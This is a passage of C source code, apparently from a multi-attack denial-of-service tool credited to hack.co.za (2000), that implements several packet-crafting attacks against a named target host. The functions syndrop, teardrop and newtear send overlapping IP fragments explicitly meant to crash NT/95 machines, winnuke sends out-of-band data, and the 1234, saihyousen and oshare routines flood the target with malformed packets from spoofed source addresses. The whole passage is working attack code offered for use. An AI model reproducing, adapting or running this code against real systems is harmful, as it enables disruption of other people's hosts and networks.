  860.   close (rip_sock);
  861.   return (0);
  862. }
  863.  
  864. /*
  865.  *  Send two IP fragments with pathological offsets.  We use an implementation
  866.  *  independent way of assembling network packets that does not rely on any of
  867.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  868.  */
  869.  
  870. void
  871. newt_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  872.             u_short dst_prt)
  873. {
  874.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  875.   u_char byte;            /* a byte */
  876.   struct sockaddr_in sin;    /* socket protocol structure */
  877.  
  878.   sin.sin_family = AF_INET;
  879.   sin.sin_port = src_prt;
  880.   sin.sin_addr.s_addr = dst_ip;
  881.  
  882.   /*
  883.    * Grab some memory for our packet, align p_ptr to point at the beginning
  884.    * of our packet, and then fill it with zeros.
  885.    */
  886.   packet = (u_char *) malloc (IPH + UDPH + PADDING);
  887.   p_ptr = packet;
  888.   bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);    // Set it all to zero
  889.  
  890.   byte = 0x45;            /* IP version and header length */
  891.   memcpy (p_ptr, &byte, sizeof (u_char));
  892.   p_ptr += 2;            /* IP TOS (skipped) */
  893.   *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);    /* total length */
  894.   p_ptr += 2;
  895.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  896.   p_ptr += 2;
  897.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  898.   p_ptr += 2;
  899.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  900.   byte = IPPROTO_UDP;
  901.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  902.   p_ptr += 4;            /* IP checksum filled in by kernel */
  903.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  904.   p_ptr += 4;
  905.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  906.   p_ptr += 4;
  907.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  908.   p_ptr += 2;
  909.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  910.   p_ptr += 2;
  911.   *((u_short *) p_ptr) = htons (8 + PADDING * 2);    /* UDP total length *//* Increases UDP total length to 48 bytes
  912.                                  Which is too big! */
  913.  
  914.   if (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) &sin,
  915.               sizeof (struct sockaddr)) == -1)
  916.     {
  917.       perror ("\nsendto");
  918.       free (packet);
  919.       exit (1);
  920.     }
  921.  
  922.   /*  We set the fragment offset to be inside of the previous packet's
  923.    *  payload (it overlaps inside the previous packet) but do not include
  924.    *  enough payload to cover complete the datagram.  Just the header will
  925.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  926.    *  better.
  927.    */
  928.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  929.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  930.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  931.   *((u_short *) p_ptr) = FIX (MAGIC);
  932.  
  933.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
  934.               sizeof (struct sockaddr)) == -1)
  935.     {
  936.       perror ("\nsendto");
  937.       free (packet);
  938.       exit (1);
  939.     }
  940.   free (packet);
  941. }
  942.  
  943. /* syndrop(destination) */
  944.  
  945. u_long name_resolve (u_char *);
  946. void send_synd (int, u_long, u_long, u_short, u_short, u_long, u_long);
  947.  
  948. int
  949. syndrop (char *synd_host)
  950. {
  951.   int one = 1, count = 0, i, rip_sock;
  952.   u_long src_ip = 0, dst_ip = 0;
  953.   u_short src_prt = 0, dst_prt = 0;
  954.   u_long s_start = 0, s_end = 0;
  955.   struct in_addr addr;
  956.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  957.     {
  958.       perror ("raw socket");
  959.       exit (1);
  960.     }
  961.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
  962.     {
  963.       perror ("IP_HDRINCL");
  964.       exit (1);
  965.     }
  966.   if (!(dst_ip = name_resolve (synd_host)))
  967.     {
  968.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  969.       exit (1);
  970.     }
  971.   src_ip = rand ();
  972.   srandom ((unsigned) (time ((time_t) 0)));
  973.   src_prt = (random () % 0xffff);
  974.   dst_prt = (random () % 0xffff);
  975.   count = COUNT;
  976.  
  977.   addr.s_addr = src_ip;
  978.   addr.s_addr = dst_ip;
  979.   for (i = 0; i < count; i++)
  980.     {
  981.       send_synd (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
  982.       fprintf (stderr, "&");
  983.       usleep (500);
  984.     }
  985.   close (rip_sock);
  986.   return (0);
  987. }
  988.  
  989. /*
  990.  *  Send two IP fragments with pathological offsets.  We use an implementation
  991.  *  independent way of assembling network packets that does not rely on any of
  992.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  993.  */
  994.  
  995. void
  996. send_synd (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
  997. {
  998.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  999.   u_char byte;            /* a byte */
  1000.   struct sockaddr_in sin;    /* socket protocol structure */
  1001.  
  1002.   sin.sin_family = AF_INET;
  1003.   sin.sin_port = src_prt;
  1004.   sin.sin_addr.s_addr = dst_ip;
  1005.  
  1006.   /*
  1007.    * Grab some memory for our packet, align p_ptr to point at the beginning
  1008.    * of our packet, and then fill it with zeros.
  1009.    */
  1010.   packet = (u_char *) malloc (IPH + UDPH + PADDING);
  1011.   p_ptr = packet;
  1012.   bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);    /* Set it all to zero */
  1013.  
  1014.   byte = 0x45;            /* IP version and header length */
  1015.   memcpy (p_ptr, &byte, sizeof (u_char));
  1016.   p_ptr += 2;            /* IP TOS (skipped) */
  1017.   *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);    /* total length */
  1018.   p_ptr += 2;
  1019.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  1020.   p_ptr += 2;
  1021.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  1022.   p_ptr += 2;
  1023.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  1024.   byte = IPPROTO_TCP;
  1025.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  1026.   p_ptr += 4;            /* IP checksum filled in by kernel */
  1027.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  1028.   p_ptr += 4;
  1029.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  1030.   p_ptr += 4;
  1031.   *((u_short *) p_ptr) = htons (src_prt);    /* TCP source port */
  1032.   p_ptr += 2;
  1033.   *((u_short *) p_ptr) = htons (dst_prt);    /* TCP destination port */
  1034.   p_ptr += 2;
  1035.   *((u_long *) p_ptr) = seq1;    /* TCP sequence # */
  1036.   p_ptr += 4;
  1037.   *((u_long *) p_ptr) = 0;    /* ack */
  1038.   p_ptr += 4;
  1039.   *((u_short *) p_ptr) = htons (8 + PADDING * 2);    /* TCP data offset */
  1040.   /* Increases TCP total length to 48 bytes Which is too big! */
  1041.   p_ptr += 2;
  1042.   *((u_char *) p_ptr) = TH_SYN;    /* flags: mark SYN */
  1043.   p_ptr += 1;
  1044.   *((u_short *) p_ptr) = seq2 - seq1;    /* window */
  1045.   *((u_short *) p_ptr) = 0x44;    /* checksum : this is magic value for NT, W95.  dissasemble M$ C++ to see why, if you have time  */
  1046.   *((u_short *) p_ptr) = 0;    /* urgent */
  1047.  
  1048.   if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
  1049.               sizeof (struct sockaddr)) == -1)
  1050.     {
  1051.       perror ("\nsendto");
  1052.       free (packet);
  1053.       exit (1);
  1054.     }
  1055.  
  1056.   /*  We set the fragment offset to be inside of the previous packet's
  1057.    *  payload (it overlaps inside the previous packet) but do not include
  1058.    *  enough payload to cover complete the datagram.  Just the header will
  1059.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  1060.    *  better.
  1061.    */
  1062.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  1063.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  1064.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  1065.   *((u_short *) p_ptr) = FIX (MAGIC);
  1066.   p_ptr = &packet[24];        /* hop in to the sequence again... */
  1067.   *((u_long *) p_ptr) = seq2;    /* TCP sequence # */
  1068.  
  1069.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
  1070.     {
  1071.       perror ("\nsendto");
  1072.       free (packet);
  1073.       exit (1);
  1074.     }
  1075.   free (packet);
  1076. }
  1077.  
  1078. /* teardrop(destination) */
  1079.  
  1080. u_long name_resolve (u_char *);
  1081. void tear_frags (int, u_long, u_long, u_short, u_short);
  1082.  
  1083. int
  1084. teardrop (char *tear_host)
  1085. {
  1086.   int one = 1, count = 0, i, rip_sock;
  1087.   u_long src_ip = 0, dst_ip = 0;
  1088.   u_short src_prt = 0, dst_prt = 0;
  1089.   struct in_addr addr;
  1090.  
  1091.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1092.     {
  1093.       perror ("raw socket");
  1094.       exit (1);
  1095.     }
  1096.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  1097.       < 0)
  1098.     {
  1099.       perror ("IP_HDRINCL");
  1100.       exit (1);
  1101.     }
  1102.   if (!(dst_ip = name_resolve (tear_host)))
  1103.     {
  1104.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  1105.       exit (1);
  1106.     }
  1107.   src_ip = rand ();
  1108.   srandom ((unsigned) (time ((time_t) 0)));
  1109.   src_prt = (random () % 0xffff);
  1110.   dst_prt = (random () % 0xffff);
  1111.   count = COUNT;
  1112.  
  1113.   addr.s_addr = src_ip;
  1114.   addr.s_addr = dst_ip;
  1115.  
  1116.   for (i = 0; i < count; i++)
  1117.     {
  1118.       tear_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  1119.       fprintf (stderr, "%%");
  1120.       usleep (500);
  1121.     }
  1122.   return (0);
  1123. }
  1124.  
  1125. /*
  1126.  *  Send two IP fragments with pathological offsets.  We use an implementation
  1127.  *  independent way of assembling network packets that does not rely on any of
  1128.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  1129.  */
  1130.  
  1131. void
  1132. tear_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  1133.             u_short dst_prt)
  1134. {
  1135.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  1136.   u_char byte;            /* a byte */
  1137.   struct sockaddr_in sin;    /* socket protocol structure */
  1138.  
  1139.   sin.sin_family = AF_INET;
  1140.   sin.sin_port = src_prt;
  1141.   sin.sin_addr.s_addr = dst_ip;
  1142.  
  1143.   /*
  1144.    * Grab some memory for our packet, align p_ptr to point at the beginning
  1145.    * of our packet, and then fill it with zeros.
  1146.    */
  1147.   packet = (u_char *) malloc (IPH + UDPH + TPADDING);
  1148.   p_ptr = packet;
  1149.   bzero ((u_char *) p_ptr, IPH + UDPH + TPADDING);
  1150.  
  1151.   byte = 0x45;            /* IP version and header length */
  1152.   memcpy (p_ptr, &byte, sizeof (u_char));
  1153.   p_ptr += 2;            /* IP TOS (skipped) */
  1154.   *((u_short *) p_ptr) = FIX (IPH + UDPH + TPADDING);    /* total length */
  1155.   p_ptr += 2;
  1156.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  1157.   p_ptr += 2;
  1158.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  1159.   p_ptr += 2;
  1160.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  1161.   byte = IPPROTO_UDP;
  1162.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  1163.   p_ptr += 4;            /* IP checksum filled in by kernel */
  1164.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  1165.   p_ptr += 4;
  1166.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  1167.   p_ptr += 4;
  1168.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  1169.   p_ptr += 2;
  1170.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  1171.   p_ptr += 2;
  1172.   *((u_short *) p_ptr) = htons (8 + TPADDING);    /* UDP total length */
  1173.  
  1174.   if (sendto (sock, packet, IPH + UDPH + TPADDING, 0, (struct sockaddr *) &sin,
  1175.               sizeof (struct sockaddr)) == -1)
  1176.     {
  1177.       perror ("\nsendto");
  1178.       free (packet);
  1179.       exit (1);
  1180.     }
  1181.  
  1182.   /*  We set the fragment offset to be inside of the previous packet's
  1183.    *  payload (it overlaps inside the previous packet) but do not include
  1184.    *  enough payload to cover complete the datagram.  Just the header will
  1185.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  1186.    *  better.
  1187.    */
  1188.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  1189.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  1190.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  1191.   *((u_short *) p_ptr) = FIX (MAGIC);
  1192.  
  1193.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
  1194.               sizeof (struct sockaddr)) == -1)
  1195.     {
  1196.       perror ("\nsendto");
  1197.       free (packet);
  1198.       exit (1);
  1199.     }
  1200.   free (packet);
  1201. }
  1202.  
  1203. /* winnuke(destination,repeats) */
  1204.  
  1205. int winnuke_s;
  1206. char *str = "bill_loves_you!";
  1207. struct sockaddr_in addr, spoofedaddr;
  1208. struct hostent *host;
  1209. int
  1210. winnuke_sub (int sock, char *server, int port)
  1211. {
  1212.   struct sockaddr_in blah;
  1213.   struct hostent *he;
  1214.   bzero ((char *) &blah, sizeof (blah));
  1215.   blah.sin_family = AF_INET;
  1216.   blah.sin_addr.s_addr = inet_addr (server);
  1217.   blah.sin_port = htons (port);
  1218.   if ((he = gethostbyname (server)) != NULL)
  1219.     {
  1220.       bcopy (he->h_addr, (char *) &blah.sin_addr, he->h_length);
  1221.     }
  1222.   else
  1223.     {
  1224.       if ((blah.sin_addr.s_addr = inet_addr (server)) < 0)
  1225.         {
  1226.           perror ("gethostbyname()");
  1227.           return (-3);
  1228.         }
  1229.     }
  1230.   if (connect (sock, (struct sockaddr *) &blah, 16) == -1)
  1231.     {
  1232.       perror ("connect()");
  1233.       close (sock);
  1234.       return (-4);
  1235.     }
  1236.   return 0;
  1237. }
  1238. int
  1239. winnuke (char *winnuke_host, int timez)
  1240. {
  1241.   int wncounter;
  1242.   for (wncounter = 0; wncounter < timez; wncounter++)
  1243.     {
  1244.       if ((winnuke_s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  1245.         {
  1246.           perror ("socket()");
  1247.           exit (-1);
  1248.         }
  1249.       winnuke_sub (winnuke_s, winnuke_host, WNUKEPORT);
  1250.       send (winnuke_s, str, strlen (str), MSG_OOB);
  1251.       fprintf (stderr, "*");
  1252.       usleep (500);
  1253.       close (winnuke_s);
  1254.     }
  1255.   return 0;
  1256. }                // this is line 1234 of targa.c, strange coincidence :)
  1257.  
  1258. /* 1234 attack(destination) */
  1259.  
  1260. int x_resolve (const char *name, unsigned int port,
  1261.                struct sockaddr_in *addr);
  1262. int sub_1234 (int socket, unsigned long spoof_addr,
  1263.               struct sockaddr_in *dest_addr);
  1264.  
  1265. int
  1266. x1234 (char *one_host)
  1267. {
  1268.   struct sockaddr_in dest_addr;
  1269.   unsigned int i, sock;
  1270.  
  1271.   if ((sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1272.     return (-1);
  1273.   if (x_resolve (one_host, 0, &dest_addr) == -1)
  1274.     {
  1275.       return (-1);
  1276.     }
  1277.   for (i = 0; i < 10; i++)
  1278.     sub_1234 (sock, rand (), &dest_addr);
  1279.   fprintf (stderr, "!");
  1280.   close (sock);
  1281.   return 0;
  1282. }
  1283.  
  1284. int
  1285. x_resolve (const char *name, unsigned int port, struct sockaddr_in *addr)
  1286. {
  1287.   struct hostent *host;
  1288.   memset (addr, 0, sizeof (struct sockaddr_in));
  1289.   addr->sin_family = AF_INET;
  1290.   addr->sin_addr.s_addr = inet_addr (name);
  1291.   if (addr->sin_addr.s_addr == -1)
  1292.     {
  1293.       if ((host = gethostbyname (name)) == NULL)
  1294.         return (-1);
  1295.       addr->sin_family = host->h_addrtype;
  1296.       memcpy ((caddr_t) & addr->sin_addr, host->h_addr, host->h_length);
  1297.     }
  1298.   addr->sin_port = htons (port);
  1299.   return (0);
  1300. }
  1301. unsigned short
  1302. x_cksum (addr, len)
  1303. u_short *addr;
  1304. int len;
  1305. {
  1306.   register int nleft = len;
  1307.   register u_short *w = addr;
  1308.   register int sum = 0;
  1309.   u_short answer = 0;
  1310.   while (nleft > 1)
  1311.     {
  1312.       sum += *w++;
  1313.       nleft -= 2;
  1314.     }
  1315.   if (nleft == 1)
  1316.     {
  1317.       *(u_char *) (&answer) = *(u_char *) w;
  1318.       sum += answer;
  1319.     }
  1320.   sum = (sum >> 16) + (sum & 0xffff);
  1321.   sum += (sum >> 16);
  1322.   answer = ~sum;
  1323.   return (answer);
  1324. }
  1325.  
  1326. int
  1327. sub_1234 (int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr)
  1328. {
  1329.   unsigned char *packet;
  1330.   struct iphdr *ip;
  1331.   struct icmphdr *icmp;
  1332.  
  1333.   packet = (unsigned char *) malloc (sizeof (struct iphdr) +
  1334.                                      sizeof (struct icmphdr) + 8);
  1335.   ip = (struct iphdr *) packet;
  1336.   icmp = (struct icmphdr *) (packet + sizeof (struct iphdr));
  1337.   memset (ip, 0, sizeof (struct iphdr) + sizeof (struct icmphdr) + 8);
  1338.   ip->ihl = 5;
  1339.   ip->version = 4;
  1340.   ip->id = htons (1234);
  1341.   ip->frag_off |= htons (0x2000);
  1342.   ip->ttl = 255;
  1343.   ip->protocol = IPPROTO_ICMP;
  1344.   ip->saddr = spoof_addr;
  1345.   ip->daddr = dest_addr->sin_addr.s_addr;
  1346.   ip->check = x_cksum (ip, sizeof (struct iphdr));
  1347.   icmp->type = 12;
  1348.   icmp->code = 0;
  1349.   icmp->checksum = x_cksum (icmp, sizeof (struct icmphdr) + 1);
  1350.   if (sendto (socket, packet,
  1351.               sizeof (struct iphdr) + sizeof (struct icmphdr) + 1,
  1352.               0, (struct sockaddr *) dest_addr,
  1353.               sizeof (struct sockaddr)) == -1)
  1354.     {
  1355.       return (-1);
  1356.     }
  1357.   ip->tot_len = htons (sizeof (struct iphdr) + sizeof (struct icmphdr) + 8);
  1358.   ip->frag_off = htons (8 >> 3);
  1359.   ip->frag_off |= htons (0x2000);
  1360.   ip->check = x_cksum (ip, sizeof (struct iphdr));
  1361.   icmp->type = 0;
  1362.   icmp->code = 0;
  1363.   icmp->checksum = 0;
  1364.   if (sendto (socket, packet,
  1365.               sizeof (struct iphdr) + sizeof (struct icmphdr) + 8,
  1366.               0, (struct sockaddr *) dest_addr,
  1367.               sizeof (struct sockaddr)) == -1)
  1368.     {
  1369.       return (-1);
  1370.     }
  1371.   free (packet);        // ph33r phr33 w1lly
  1372.  
  1373.   return (0);
  1374. }
  1375.  
  1376. /* saihyousen attack(destination) */// this is line no. 1337 :P
  1377.  
  1378. int
  1379. saihyousen (char *sai_host)
  1380. {
  1381.   int fd, x = 1, hosti = 192, hostii = 168, hostiii = 1, meep = 0;
  1382.   int fooport = 1, numpack = 0;
  1383.   char funhost[15];
  1384.   struct sockaddr_in *p;
  1385.   struct hostent *he;
  1386.   struct sockaddr sa;
  1387.   u_char gram[36] =
  1388.     {
  1389.       0x45, 0x00, 0x00, 0x26, 0x12, 0x34, 0x00, 0x00, 0xff, 0x11, 0xff, 0x7f,
  1390.       0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
  1391.       0x8f, 0x00, 0x12, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
  1392.     };
  1393.  
  1394.   fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  1395.   setsockopt (fd, IPPROTO_IP, IP_HDRINCL, (char *) &x, sizeof (x));
  1396.   for (numpack = 0; numpack <= 100; numpack++)
  1397.     {
  1398.       if (meep == 0)
  1399.         {
  1400.           ++hosti;
  1401.           meep++;
  1402.         }
  1403.       if (hosti > 254)
  1404.         hosti = 1;
  1405.       if (meep == 1)
  1406.         {
  1407.           ++hostii;
  1408.           meep++;
  1409.         }
  1410.       if (hostii > 254)
  1411.         hostii = 1;
  1412.       if (meep == 2)
  1413.         {
  1414.           ++hostiii;
  1415.           meep = 0;
  1416.         }
  1417.       if (hostiii > 254)
  1418.         hostiii = 1;
  1419.       sprintf (funhost, "%i.%i.%i.%i", hosti, hostii, hostiii, hosti);
  1420.       he = gethostbyname (funhost);
  1421.       bcopy (*(he->h_addr_list), (gram + 12), 4);
  1422.       he = gethostbyname (sai_host);
  1423.       bcopy (*(he->h_addr_list), (gram + 16), 4);
  1424.       fooport++;
  1425.       if (fooport > 65530)
  1426.         {
  1427.           fooport = 1;
  1428.         };
  1429.       *(u_short *) (gram + 20) = htons ((u_short) fooport);
  1430.       *(u_short *) (gram + 22) = htons ((u_short) fooport);
  1431.       p = (struct sockaddr_in *) &sa;
  1432.       p->sin_family = AF_INET;
  1433.       bcopy (*(he->h_addr_list), &(p->sin_addr), sizeof (struct in_addr));
  1434.       sendto (fd, &gram, sizeof (gram), 0, (struct sockaddr *) p,
  1435.               sizeof (struct sockaddr));
  1436.     }
  1437.   fprintf (stderr, "+");
  1438.   close (fd);
  1439.   return 1;
  1440. }
  1441.  
  1442. /* oshare(destination) */
  1443.  
  1444. int osend (int, u_long);
  1445.  
  1446. int
  1447. oshare (char *o_host)
  1448. {
  1449.   int loopy;
  1450.   int socky = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  1451.   unsigned long desty = inet_addr (o_host);
  1452.  
  1453.   for (loopy = 0; loopy < 500; loopy++)
  1454.     osend (socky, desty);
  1455.   fprintf (stderr, "|");
  1456.   close (socky);
  1457.   return 1;
  1458. }
  1459.  
  1460. int
  1461. osend (int sock_send, u_long dst_addr)
  1462. {
  1463.   char *packet;
  1464.   int send_status;
  1465.   struct iphdr *ip;
  1466.   struct sockaddr_in to;
  1467.  
  1468.   packet = (char *) malloc (40);
  1469.   ip = (struct iphdr *) (packet);
  1470.   memset (packet, 0, 40);
  1471.  
  1472.   ip->version = 4;
  1473.   ip->ihl = sizeof (struct iphdr) / 4;    //guess it works
  1474.  
  1475.   ip->tos = 0x00;
  1476.   ip->tot_len = htons (sizeof (struct iphdr) +
  1477.                        sizeof (struct udphdr));        //hope it works :P
  1478.  
  1479.   ip->id = htons (1999);
  1480.   ip->frag_off = htons (16383);
  1481.   ip->ttl = 0xff;
  1482.   ip->protocol = IPPROTO_UDP;
  1483.   ip->saddr = htonl (rand ());
  1484.   ip->daddr = dst_addr;
  1485.   ip->check = in_cksum ((u_short *) ip, ip->ihl);
  1486.  
  1487.   to.sin_family = AF_INET;
  1488.   to.sin_port = htons (rand ());
  1489.   to.sin_addr.s_addr = dst_addr;
  1490.  
  1491.   send_status = sendto (sock_send, packet, 40, 0,
  1492.                         (struct sockaddr *) &to,
  1493.                         sizeof (struct sockaddr));
  1494.   free (packet);        // free willy owns
  1495.  
  1496.   return (send_status);
  1497. }
  1498. /*                    www.hack.co.za              [2000]*/
  1499.